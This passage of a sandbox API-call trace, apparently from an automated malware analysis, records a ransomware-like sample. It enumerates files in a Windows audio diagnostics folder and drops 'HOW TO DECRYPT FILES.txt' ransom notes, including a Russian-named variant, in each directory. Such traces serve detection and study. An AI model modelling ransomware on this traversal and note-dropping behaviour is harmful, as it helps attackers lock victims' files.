dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.314] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.315] CloseHandle (hObject=0xffffffff) returned 0 [0126.315] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\", lpString2="DiagPackage.diagpkg" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\DiagPackage.diagpkg") returned="C:\\Windows\\diagnostics\\system\\Audio\\DiagPackage.diagpkg" [0126.315] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.315] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DiagPackage.dll") returned 1 [0126.315] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DiagPackage.dll") returned 1 [0126.316] lstrcmpiA (lpString1="", lpString2="DiagPackage.dll") returned -1 [0126.316] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Audio\\DiagPackage.diagpkg") returned="DiagPackage.diagpkg" [0126.316] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Audio\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\") returned="C:\\Windows\\diagnostics\\system\\Audio\\" [0126.316] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Audio\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Audio\\") returned="" [0126.316] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" [0126.316] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\audio\\how to decrypt files.txt")) returned 0xffffffff [0126.316] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\audio\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.317] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.317] CloseHandle (hObject=0xffffffff) returned 0 [0126.317] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\", lpString2="DiagPackage.dll" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\DiagPackage.dll") returned="C:\\Windows\\diagnostics\\system\\Audio\\DiagPackage.dll" [0126.317] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0126.317] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0126.317] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Audio\\DiagPackage.dll") returned="DiagPackage.dll" [0126.318] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\", lpString2="en-US" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\en-US") returned="C:\\Windows\\diagnostics\\system\\Audio\\en-US" [0126.318] FindFirstFileA (in: lpFileName="C:\\Windows\\diagnostics\\system\\Audio\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23862230, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x501560, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0126.320] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0126.320] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0126.320] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0126.320] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0126.320] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CL_LocalizationData.psd1") returned 1 [0126.321] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CL_LocalizationData.psd1") returned 1 [0126.321] lstrcmpiA (lpString1="", lpString2="CL_LocalizationData.psd1") returned -1 [0126.321] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Audio\\en-US\\*.*") returned="*.*" [0126.321] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Audio\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\Audio\\en-US\\" [0126.321] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Audio\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Audio\\en-US\\") returned="" [0126.321] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Audio\\en-US\\HOW TO DECRYPT FILES.txt" [0126.321] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Audio\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\audio\\en-us\\how to decrypt files.txt")) returned 0xffffffff [0126.321] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Audio\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\audio\\en-us\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.322] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.322] CloseHandle (hObject=0xffffffff) returned 0 [0126.322] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\en-US\\", lpString2="CL_LocalizationData.psd1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\en-US\\CL_LocalizationData.psd1") returned="C:\\Windows\\diagnostics\\system\\Audio\\en-US\\CL_LocalizationData.psd1" [0126.322] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0126.322] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DiagPackage.dll.mui") returned 1 [0126.322] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DiagPackage.dll.mui") returned 1 [0126.322] lstrcmpiA (lpString1="", lpString2="DiagPackage.dll.mui") returned -1 [0126.322] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Audio\\en-US\\CL_LocalizationData.psd1") returned="CL_LocalizationData.psd1" [0126.322] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Audio\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\Audio\\en-US\\" [0126.323] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Audio\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Audio\\en-US\\") returned="" [0126.323] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Audio\\en-US\\HOW TO DECRYPT FILES.txt" [0126.323] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Audio\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\audio\\en-us\\how to decrypt files.txt")) returned 0xffffffff [0126.323] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Audio\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\audio\\en-us\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.323] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.323] CloseHandle (hObject=0xffffffff) returned 0 [0126.323] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\en-US\\", lpString2="DiagPackage.dll.mui" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\en-US\\DiagPackage.dll.mui") returned="C:\\Windows\\diagnostics\\system\\Audio\\en-US\\DiagPackage.dll.mui" [0126.324] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.324] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MF_AudioDiagnostic.ps1") returned -1 [0126.324] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MF_AudioDiagnostic.ps1") returned -1 [0126.325] lstrcmpiA (lpString1="", lpString2="MF_AudioDiagnostic.ps1") returned -1 [0126.325] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Audio\\*.*") returned="*.*" [0126.325] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Audio\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\") returned="C:\\Windows\\diagnostics\\system\\Audio\\" [0126.325] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Audio\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Audio\\") returned="" [0126.325] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" [0126.325] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\audio\\how to decrypt files.txt")) returned 0xffffffff [0126.325] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\audio\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.325] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.325] CloseHandle (hObject=0xffffffff) returned 0 [0126.325] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\", lpString2="MF_AudioDiagnostic.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\MF_AudioDiagnostic.ps1") returned="C:\\Windows\\diagnostics\\system\\Audio\\MF_AudioDiagnostic.ps1" [0126.326] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.326] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_AudioService.ps1") returned -1 [0126.326] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_AudioService.ps1") returned -1 [0126.326] lstrcmpiA (lpString1="", lpString2="RS_AudioService.ps1") returned -1 [0126.326] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Audio\\MF_AudioDiagnostic.ps1") returned="MF_AudioDiagnostic.ps1" [0126.326] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Audio\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\") returned="C:\\Windows\\diagnostics\\system\\Audio\\" [0126.326] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Audio\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Audio\\") returned="" [0126.326] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" [0126.326] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\audio\\how to decrypt files.txt")) returned 0xffffffff [0126.326] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\audio\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.327] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.327] CloseHandle (hObject=0xffffffff) returned 0 [0126.327] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\", lpString2="RS_AudioService.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\RS_AudioService.ps1") returned="C:\\Windows\\diagnostics\\system\\Audio\\RS_AudioService.ps1" [0126.327] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.327] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_ChangeVolume.ps1") returned -1 [0126.327] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_ChangeVolume.ps1") returned -1 [0126.327] lstrcmpiA (lpString1="", lpString2="RS_ChangeVolume.ps1") returned -1 [0126.327] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Audio\\RS_AudioService.ps1") returned="RS_AudioService.ps1" [0126.327] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Audio\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\") returned="C:\\Windows\\diagnostics\\system\\Audio\\" [0126.328] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Audio\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Audio\\") returned="" [0126.328] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" [0126.328] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\audio\\how to decrypt files.txt")) returned 0xffffffff [0126.328] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\audio\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.328] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.328] CloseHandle (hObject=0xffffffff) returned 0 [0126.328] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\", lpString2="RS_ChangeVolume.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\RS_ChangeVolume.ps1") returned="C:\\Windows\\diagnostics\\system\\Audio\\RS_ChangeVolume.ps1" [0126.329] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.329] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_EnableInCPL.ps1") returned -1 [0126.329] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_EnableInCPL.ps1") returned -1 [0126.329] lstrcmpiA (lpString1="", lpString2="RS_EnableInCPL.ps1") returned -1 [0126.329] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Audio\\RS_ChangeVolume.ps1") returned="RS_ChangeVolume.ps1" [0126.329] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Audio\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\") returned="C:\\Windows\\diagnostics\\system\\Audio\\" [0126.329] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Audio\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Audio\\") returned="" [0126.329] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" [0126.329] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\audio\\how to decrypt files.txt")) returned 0xffffffff [0126.329] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\audio\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.329] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.329] CloseHandle (hObject=0xffffffff) returned 0 [0126.330] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\", lpString2="RS_EnableInCPL.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\RS_EnableInCPL.ps1") returned="C:\\Windows\\diagnostics\\system\\Audio\\RS_EnableInCPL.ps1" [0126.330] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.330] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_NotDefault.ps1") returned -1 [0126.330] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_NotDefault.ps1") returned -1 [0126.330] lstrcmpiA (lpString1="", lpString2="RS_NotDefault.ps1") returned -1 [0126.330] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Audio\\RS_EnableInCPL.ps1") returned="RS_EnableInCPL.ps1" [0126.330] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Audio\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\") returned="C:\\Windows\\diagnostics\\system\\Audio\\" [0126.330] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Audio\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Audio\\") returned="" [0126.330] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" [0126.330] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\audio\\how to decrypt files.txt")) returned 0xffffffff [0126.330] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\audio\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.331] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.332] CloseHandle (hObject=0xffffffff) returned 0 [0126.332] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\", lpString2="RS_NotDefault.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\RS_NotDefault.ps1") returned="C:\\Windows\\diagnostics\\system\\Audio\\RS_NotDefault.ps1" [0126.332] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.332] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_Unmute.ps1") returned -1 [0126.332] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_Unmute.ps1") returned -1 [0126.332] lstrcmpiA (lpString1="", lpString2="RS_Unmute.ps1") returned -1 [0126.332] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Audio\\RS_NotDefault.ps1") returned="RS_NotDefault.ps1" [0126.332] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Audio\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\") returned="C:\\Windows\\diagnostics\\system\\Audio\\" [0126.332] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Audio\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Audio\\") returned="" [0126.332] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" [0126.332] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\audio\\how to decrypt files.txt")) returned 0xffffffff [0126.332] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\audio\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.333] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.333] CloseHandle (hObject=0xffffffff) returned 0 [0126.333] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\", lpString2="RS_Unmute.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\RS_Unmute.ps1") returned="C:\\Windows\\diagnostics\\system\\Audio\\RS_Unmute.ps1" [0126.333] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.333] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_AudioDeviceDriver.ps1") returned -1 [0126.333] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_AudioDeviceDriver.ps1") returned -1 [0126.333] lstrcmpiA (lpString1="", lpString2="TS_AudioDeviceDriver.ps1") returned -1 [0126.333] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Audio\\RS_Unmute.ps1") returned="RS_Unmute.ps1" [0126.333] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Audio\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\") returned="C:\\Windows\\diagnostics\\system\\Audio\\" [0126.334] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Audio\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Audio\\") returned="" [0126.334] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" [0126.334] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\audio\\how to decrypt files.txt")) returned 0xffffffff [0126.334] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\audio\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.334] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.334] CloseHandle (hObject=0xffffffff) returned 0 [0126.334] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\", lpString2="TS_AudioDeviceDriver.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\TS_AudioDeviceDriver.ps1") returned="C:\\Windows\\diagnostics\\system\\Audio\\TS_AudioDeviceDriver.ps1" [0126.334] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.335] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_AudioService.ps1") returned -1 [0126.335] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_AudioService.ps1") returned -1 [0126.335] lstrcmpiA (lpString1="", lpString2="TS_AudioService.ps1") returned -1 [0126.335] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Audio\\TS_AudioDeviceDriver.ps1") returned="TS_AudioDeviceDriver.ps1" [0126.335] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Audio\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\") returned="C:\\Windows\\diagnostics\\system\\Audio\\" [0126.335] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Audio\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Audio\\") returned="" [0126.335] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" [0126.335] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" (normalized: 